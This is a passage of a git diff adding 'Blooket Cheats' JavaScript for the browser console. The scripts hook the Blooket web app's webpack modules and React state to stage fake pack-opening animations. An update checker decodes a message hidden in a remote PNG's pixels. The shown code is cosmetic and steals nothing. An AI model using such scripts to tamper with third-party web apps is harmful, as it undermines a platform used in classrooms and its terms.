c.spawn.apply(c, Object.values(Z("top")).concat(`legendary-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Chroma": { + for (var u = 0; u < 3; u++) { + var d = scene.particles.get(); + d && d.spawn.apply(d, Object.values(Z(u % 2 == 0 ? "left-diamond" : "right-diamond")).concat(`chroma-${Object(I.m)(1, 8)}`)) + } + break; + } + } + this.nextParticle = 20; + this.numExplosions > 0 && (this.numExplosions = Math.max(this.numExplosions - 1, 0)); + } + } + } + const allBlooks = Object.values(webpack.c).find(x => x.exports?.a?.Elephant).exports.a; + stateNode.setState({ + loadingPack: false, + openPack: true, + unlockedBlook: blook, + tokens: stateNode.state.tokens, + newUnlock: true, + game: { + type: phaser.WEBGL, + parent: "phaser-market", + width: "100%", + height: "100%", + scale: { mode: phaser.Scale.NONE, autoCenter: phaser.Scale.CENTER_BOTH }, + transparent: true, + physics: { default: "arcade" }, + scene: new Particles(allBlooks[blook].rarity) + }, + canOpen: true + }); + } else alert("I couldn't find that box!"); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/simulatePack.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272195 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/global/simulatePack.min.js b/cheats/global/simulatePack.min.js new file mode 100644 index 0000000..581644f --- /dev/null +++ b/cheats/global/simulatePack.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let l=document.querySelector("iframe");l.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),l.contentWindow.console.log.call(window,"%c\tsimulatePack.js","color: #0bc2cf; font-size: 1rem"),l.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const r=async()=>{var t=document.createElement("iframe");document.body.append(t),window.alert=t.contentWindow.alert.bind(window),window.prompt=t.contentWindow.prompt.bind(window),t.remove();let p=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"];t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode;let o=p("fGzD");o=Object.keys(o.a).reduce((e,t)=>(e.packs.includes(t)&&(e.data[t]=Object.fromEntries(o.b(t))),e),{packs:Array.from(document.querySelectorAll('[class*="packShadow"]')).map(e=>e.alt),data:{}}).data;var a=prompt('Which box do you want to simulate? (ex: "Ice Monster")').split(" ").map(e=>e.charAt(0).toUpperCase()+e.slice(1).toLowerCase()).join(" ");if(o[a]){a=function(e){var t=[],a=Object.keys(o[e]);for(const s of a)t.push(o[e][s]+(t[a.indexOf(s)-1]||0));const i=t[t.length-1]*Math.random();return a[t.findIndex(e=>e>=i)]}(a);let e=Object.values(p.c).find(e=>e.exports?.Class).exports,g={};class s extends e.Scene{constructor(e){super(),this.rarity=e.toLowerCase()}preload(){switch(this.rarity){case"uncommon":this.load.svg("uncommon-1","https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_green.svg",{width:25,height:25}),this.load.svg("uncommon-2","https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_light_green.svg",{width:25,height:25}),this.load.svg("uncommon-3","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/circle_dark_green.svg",{width:25,height:25}),this.load.svg("uncommon-4","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_dark_green.svg",{width:30,height:30}),this.load.svg("uncommon-5","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_light_green.svg",{width:30,height:30}),this.load.svg("uncommon-6","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_light_green.svg",{width:30,height:30}),this.load.svg("uncommon-7","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_green.svg",{width:30,height:30});break;case"rare":this.load.svg("rare-1","https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_light_blue.svg",{width:25,height:25}),this.load.svg("rare-2","https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_dark_blue.svg",{width:25,height:25}),this.load.svg("rare-3","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_blue.svg",{width:30,height:30}),this.load.svg("rare-4","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_blue.svg",{width:30,height:30}),this.load.svg("rare-5","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_light_blue.svg",{width:30,height:30}),this.load.svg("rare-6","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_light_blue.svg",{width:30,height:30}),this.load.svg("rare-7","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/circle_dark_blue.svg",{width:25,height:25});break;case"epic":this.load.svg("epic-1","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/red.svg",{width:25,height:25}),this.load.svg("epic-2","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/light_red.svg",{width:25,height:25}),this.load.svg("epic-3","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_red.svg",{width:30,height:30}),this.load.svg("epic-4","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_dark_red.svg",{width:30,height:30}),this.load.svg("epic-5","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_red.svg",{width:30,height:30}),this.load.svg("epic-6","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_light_red.svg",{width:30,height:30}),this.load.svg("epic-7","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/circle_dark_red.svg",{width:25,height:25});break;case"legendary":this.load.svg("legendary-1","https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_orange.svg",{width:25,height:25}),this.load.svg("legendary-2","https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_light_orange.svg",{width:25,height:25}),this.load.svg("legendary-3","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_orange.svg",{width:25,height:25}),this.load.svg("legendary-4","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_orange.svg",{width:30,height:30}),this.load.svg("legendary-5","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_light_orange.svg",{width:30,height:30}),this.load.svg("legendary-6","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_dark_orange.svg",{width:25,height:25}),this.load.svg("legendary-7","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/triangle_dark_orange.svg",{width:30,height:30});break;case"chroma":this.load.svg("chroma-1","https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_turquoise.svg",{width:25,height:25}),this.load.svg("chroma-2","https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_light_turquoise.svg",{width:25,height:25}),this.load.svg("chroma-3","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_dark_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-4","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-5","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-6","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_light_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-7","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/circle_dark_turquoise.svg",{width:25,height:25})}}create(){g.scene=this,g.rarity="",g.particles=this.physics.add.group({classType:new e.Class({Extends:e.GameObjects.Image,initialize:function(){e.GameObjects.Image.call(this,g.scene,0,0,"uncommon-1"),this.setDepth(3),this.lifespan=0},spawn:function(e,t,a,i,s,o,l,r,c){this.setTexture(c),this.setActive(!0),this.setVisible(!0),this.setPosition(e,t),this.setScale(a),this.targets=[],g.scene.physics.velocityFromAngle(i,s,this.body.velocity),this.body.setGravityY(o),this.body.setAngularVelocity(l),this.lifespan=r},update:function(e,t){this.lifespan-=t,0{g.rarity=e,this.numExplosions="Uncommon"===e?75:"Rare"===e?100:-1})}update(e,t){const a=p("74sb");function i(e){switch(e){case"center":var t=Object(a.l)(-115,-65);return{x:g.scene.cameras.main.worldView.width/2,y:g.scene.cameras.main.worldView.height/2,scale:Object(a.l)(.7,1),angle:t,velocity:Object(a.l)(600,750),gravity:700,angVelocity:(-90g.scene.cameras.main.worldView.height/2?-150:-210,velocity:Object(a.l)(600,750),gravity:0,angVelocity:Object(a.l)(-175,-125),lifespan:2500};case"left-diamond":t=Object(a.l)(0,g.scene.cameras.main.worldView.height);return{x:0,y:t,scale:Object(a.l)(.7,1),angle:t>g.scene.cameras.main.worldView.height/2?-30:30,velocity:Object(a.l)(600,750),gravity:0,angVelocity:Object(a.l)(125,175),lifespan:2500};default:return{}}}if(g.rarity&&0!==this.numExplosions&&(this.nextParticle-=t,this.nextParticle<=0)){switch(g.rarity){case"Uncommon":for(let e=0;e<2;e++){var s=g.particles.get();s&&s.spawn.apply(s,Object.values(i("center")).concat("uncommon-"+Object(a.m)(1,8)))}break;case"Rare":for(var o=0;o<2;o++){var l=g.particles.get();l&&l.spawn.apply(l,Object.values(i(o%2==0?"left-bottom":"right-bottom")).concat("rare-"+Object(a.m)(1,8)))}break;case"Epic":for(var r=0;r<2;r++){var c=g.particles.get();c&&c.spawn.apply(c,Object.values(i(r%2==0?"left-shower":"right-shower")).concat("epic-"+Object(a.m)(1,8)))}break;case"Legendary":for(var h=0;h<3;h++){var n=g.particles.get();n&&n.spawn.apply(n,Object.values(i("top")).concat("legendary-"+Object(a.m)(1,8)))}break;case"Chroma":for(var d=0;d<3;d++){var m=g.particles.get();m&&m.spawn.apply(m,Object.values(i(d%2==0?"left-diamond":"right-diamond")).concat("chroma-"+Object(a.m)(1,8)))}}this.nextParticle=20,0e.exports?.a?.Elephant).exports.a;t.setState({loadingPack:!1,openPack:!0,unlockedBlook:a,tokens:t.state.tokens,newUnlock:!0,game:{type:e.WEBGL,parent:"phaser-market",width:"100%",height:"100%",scale:{mode:e.Scale.NONE,autoCenter:e.Scale.CENTER_BOTH},transparent:!0,physics:{default:"arcade"},scene:new s(i[a].rarity)},canOpen:!0})}else alert("I couldn't find that box!")};let c=new Image;c.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/simulatePack.png?"+Date.now(),c.crossOrigin="Anonymous",c.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(c,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],a="",i;for(let e=0;e(c.src=null,r())})(); \ No newline at end of file diff --git a/cheats/global/simulateUnlock.js b/cheats/global/simulateUnlock.js new file mode 100644 index 0000000..b893e9b --- /dev/null +++ b/cheats/global/simulateUnlock.js @@ -0,0 +1,304 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + if (window.location.pathname == "/market") { + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]); + let values = Object.values(webpack.c), + blooks = values.find(x => x.exports?.a?.Chick?.set).exports.a, + packs = values.find(x => x.exports.a?.Breakfast).exports.a, + allBlooks = Object.entries(blooks).reduce((a, [b, c]) => (packs[c.realSet || c.set] && (a[b] = c), a), {}); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + let phaser = Object.values(webpack.c).find(x => x.exports?.Class).exports; + let L = new function e() { this.scene = null, this.particles = null, this.rarity = null }; + + class Particles extends phaser.Scene { + constructor(rarity) { + super(); + this.rarity = rarity.toLowerCase(); + } + preload() { + switch (this.rarity) { + case "uncommon": + this.load.svg("uncommon-1", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-2", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_light_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-3", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/circle_dark_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-4", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_dark_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-5", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_light_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-6", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_light_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-7", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_green.svg", { width: 30, height: 30 }); + break; + case "rare": + this.load.svg("rare-1", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_light_blue.svg", { width: 25, height: 25 }); + this.load.svg("rare-2", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_dark_blue.svg", { width: 25, height: 25 }); + this.load.svg("rare-3", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-4", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-5", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_light_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-6", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_light_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-7", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/circle_dark_blue.svg", { width: 25, height: 25 }); + break; + case "epic": + this.load.svg("epic-1", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/red.svg", { width: 25, height: 25 }); + this.load.svg("epic-2", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/light_red.svg", { width: 25, height: 25 }); + this.load.svg("epic-3", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-4", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_dark_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-5", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-6", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_light_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-7", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/circle_dark_red.svg", { width: 25, height: 25 }); + break; + case "legendary": + this.load.svg("legendary-1", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-2", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_light_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-3", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-4", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_orange.svg", { width: 30, height: 30 }); + this.load.svg("legendary-5", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_light_orange.svg", { width: 30, height: 30 }); + this.load.svg("legendary-6", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_dark_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-7", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/triangle_dark_orange.svg", { width: 30, height: 30 }); + break; + case "chroma": + this.load.svg("chroma-1", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_turquoise.svg", { width: 25, height: 25 }); + this.load.svg("chroma-2", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_light_turquoise.svg", { width: 25, height: 25 }); + this.load.svg("chroma-3", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_dark_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-4", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-5", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-6", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_light_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-7", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/circle_dark_turquoise.svg", { width: 25, height: 25 }); + } + } + create() { + L.scene = this; + L.rarity = ""; + L.particles = this.physics.add.group({ + classType: new phaser.Class({ + Extends: phaser.GameObjects.Image, + initialize: function () { + phaser.GameObjects.Image.call(this, L.scene, 0, 0, "uncommon-1"); + this.setDepth(3); + this.lifespan = 0; + }, + spawn: function (x, y, scale, velAngle, velSpeed, gravity, angle, lifespan, texture) { + this.setTexture(texture); + this.setActive(true); + this.setVisible(true); + this.setPosition(x, y); + this.setScale(scale); + this.targets = []; + L.scene.physics.velocityFromAngle(velAngle, velSpeed, this.body.velocity); + this.body.setGravityY(gravity); + this.body.setAngularVelocity(angle); + this.lifespan = lifespan; + }, + update: function (t, s) { + this.lifespan -= s; + if (this.lifespan > 0) return; + this.setActive(!1); + this.setVisible(!1); + } + }), + runChildUpdate: !0 + }); + this.nextParticle = 0; + this.numExplosions = 0; + this.game.events.on("start-particles", (t) => { + L.rarity = t; + this.numExplosions = "Uncommon" === t ? 75 : "Rare" === t ? 100 : -1; + }); + } + update(e, t) { + const I = webpack("74sb"); + let Z = function (e) { + switch (e) { + case "center": { + var t = Object(I.l)(-115, -65); + return { + x: L.scene.cameras.main.worldView.width / 2, + y: L.scene.cameras.main.worldView.height / 2, + scale: Object(I.l)(.7, 1), + angle: t, + velocity: Object(I.l)(600, 750), + gravity: 700, + angVelocity: (t > -90 ? 1 : -1) * Object(I.l)(125, 175), + lifespan: 2500 + } + } + case "right-bottom": return { + x: L.scene.cameras.main.worldView.width, + y: L.scene.cameras.main.worldView.height, + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-160, -110), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(-175, -125), + lifespan: 2500 + }; + case "left-bottom": return { + x: 0, + y: L.scene.cameras.main.worldView.height, + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-70, -20), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + }; + case "top": return { + x: Object(I.l)(0, L.scene.cameras.main.worldView.width), + y: -50, + scale: Object(I.l)(.7, 1), + angle: 90, + velocity: Object(I.l)(0, 50), + gravity: 700, + angVelocity: Object(I.l)(-150, 150), + lifespan: 2500 + }; + case "right-shower": return { + x: L.scene.cameras.main.worldView.width, + y: Object(I.l)(0, L.scene.cameras.main.worldView.height), + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-180, -130), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(-175, -125), + lifespan: 2500 + }; + case "left-shower": return { + x: 0, + y: Object(I.l)(0, L.scene.cameras.main.worldView.height), + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-50, 0), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + }; + case "right-diamond": { + var a = Object(I.l)(0, L.scene.cameras.main.worldView.height); + return { + x: L.scene.cameras.main.worldView.width, + y: a, + scale: Object(I.l)(.7, 1), + angle: a > L.scene.cameras.main.worldView.height / 2 ? -150 : -210, + velocity: Object(I.l)(600, 750), + gravity: 0, + angVelocity: Object(I.l)(-175, -125), + lifespan: 2500 + } + } + case "left-diamond": { + var n = Object(I.l)(0, L.scene.cameras.main.worldView.height); + return { + x: 0, + y: n, + scale: Object(I.l)(.7, 1), + angle: n > L.scene.cameras.main.worldView.height / 2 ? -30 : 30, + velocity: Object(I.l)(600, 750), + gravity: 0, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + } + } + default: return {}; + } + }; + if (L.rarity && 0 !== this.numExplosions && (this.nextParticle -= t, this.nextParticle <= 0)) { + switch (L.rarity) { + case "Uncommon": { + for (let i = 0; i < 2; i++) { + let n = L.particles.get(); + n && n.spawn.apply(n, Object.values(Z("center")).concat(`uncommon-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Rare": { + for (var o = 0; o < 2; o++) { + var r = L.particles.get(); + r && r.spawn.apply(r, Object.values(Z(o % 2 == 0 ? "left-bottom" : "right-bottom")).concat(`rare-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Epic": { + for (var s = 0; s < 2; s++) { + var i = L.particles.get(); + i && i.spawn.apply(i, Object.values(Z(s % 2 == 0 ? "left-shower" : "right-shower")).concat(`epic-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Legendary": { + for (var l = 0; l < 3; l++) { + var c = L.particles.get(); + c && c.spawn.apply(c, Object.values(Z("top")).concat(`legendary-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Chroma": { + for (var u = 0; u < 3; u++) { + var d = L.particles.get(); + d && d.spawn.apply(d, Object.values(Z(u % 2 == 0 ? "left-diamond" : "right-diamond")).concat(`chroma-${Object(I.m)(1, 8)}`)) + } + break; + } + } + this.nextParticle = 20; + this.numExplosions > 0 && (this.numExplosions = Math.max(this.numExplosions - 1, 0)); + } + } + } + let blook = prompt("What blook do you want to simulate opening? (Case Sensitive)"); + if (Object.keys(allBlooks).includes(blook)) stateNode.setState({ + loadingPack: false, + openPack: true, + unlockedBlook: blook, + tokens: stateNode.state.tokens, + newUnlock: true, + game: { + type: phaser.WEBGL, + parent: "phaser-market", + width: "100%", + height: "100%", + scale: { mode: phaser.Scale.NONE, autoCenter: phaser.Scale.CENTER_BOTH }, + transparent: true, + physics: { default: "arcade" }, + scene: new Particles(allBlooks[blook].rarity) + }, + canOpen: true + }); + else if (blook) alert("Invalid blook! Make sure you spelled and capitalized it properly, the blook also needs a buyable pack in the market."); + } else alert("This can only be ran on the market page!"); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/simulateUnlock.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272202 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/global/simulateUnlock.min.js b/cheats/global/simulateUnlock.min.js new file mode 100644 index 0000000..0c5cd8a --- /dev/null +++ b/cheats/global/simulateUnlock.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let l=document.querySelector("iframe");l.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),l.contentWindow.console.log.call(window,"%c\tsimulateUnlock.js","color: #0bc2cf; font-size: 1rem"),l.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const r=async()=>{var o=document.createElement("iframe");if(document.body.append(o),window.alert=o.contentWindow.alert.bind(window),window.prompt=o.contentWindow.prompt.bind(window),o.remove(),"/market"==window.location.pathname){let g=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"],e=Object.values(g.c),t=e.find(e=>e.exports?.a?.Chick?.set).exports.a,i=e.find(e=>e.exports.a?.Breakfast).exports.a,a=Object.entries(t).reduce((e,[t,a])=>(i[a.realSet||a.set]&&(e[t]=a),e),{});o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];let s=Object.values(g.c).find(e=>e.exports?.Class).exports,p=new function(){this.scene=null,this.particles=null,this.rarity=null};class r extends s.Scene{constructor(e){super(),this.rarity=e.toLowerCase()}preload(){switch(this.rarity){case"uncommon":this.load.svg("uncommon-1","https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_green.svg",{width:25,height:25}),this.load.svg("uncommon-2","https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_light_green.svg",{width:25,height:25}),this.load.svg("uncommon-3","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/circle_dark_green.svg",{width:25,height:25}),this.load.svg("uncommon-4","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_dark_green.svg",{width:30,height:30}),this.load.svg("uncommon-5","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_light_green.svg",{width:30,height:30}),this.load.svg("uncommon-6","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_light_green.svg",{width:30,height:30}),this.load.svg("uncommon-7","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_green.svg",{width:30,height:30});break;case"rare":this.load.svg("rare-1","https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_light_blue.svg",{width:25,height:25}),this.load.svg("rare-2","https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_dark_blue.svg",{width:25,height:25}),this.load.svg("rare-3","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_blue.svg",{width:30,height:30}),this.load.svg("rare-4","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_blue.svg",{width:30,height:30}),this.load.svg("rare-5","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_light_blue.svg",{width:30,height:30}),this.load.svg("rare-6","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_light_blue.svg",{width:30,height:30}),this.load.svg("rare-7","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/circle_dark_blue.svg",{width:25,height:25});break;case"epic":this.load.svg("epic-1","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/red.svg",{width:25,height:25}),this.load.svg("epic-2","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/light_red.svg",{width:25,height:25}),this.load.svg("epic-3","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_red.svg",{width:30,height:30}),this.load.svg("epic-4","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_dark_red.svg",{width:30,height:30}),this.load.svg("epic-5","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_red.svg",{width:30,height:30}),this.load.svg("epic-6","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_light_red.svg",{width:30,height:30}),this.load.svg("epic-7","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/circle_dark_red.svg",{width:25,height:25});break;case"legendary":this.load.svg("legendary-1","https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_orange.svg",{width:25,height:25}),this.load.svg("legendary-2","https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_light_orange.svg",{width:25,height:25}),this.load.svg("legendary-3","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_orange.svg",{width:25,height:25}),this.load.svg("legendary-4","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_orange.svg",{width:30,height:30}),this.load.svg("legendary-5","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_light_orange.svg",{width:30,height:30}),this.load.svg("legendary-6","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_dark_orange.svg",{width:25,height:25}),this.load.svg("legendary-7","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/triangle_dark_orange.svg",{width:30,height:30});break;case"chroma":this.load.svg("chroma-1","https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_turquoise.svg",{width:25,height:25}),this.load.svg("chroma-2","https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_light_turquoise.svg",{width:25,height:25}),this.load.svg("chroma-3","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_dark_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-4","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-5","https://media.blooket.com/image/upl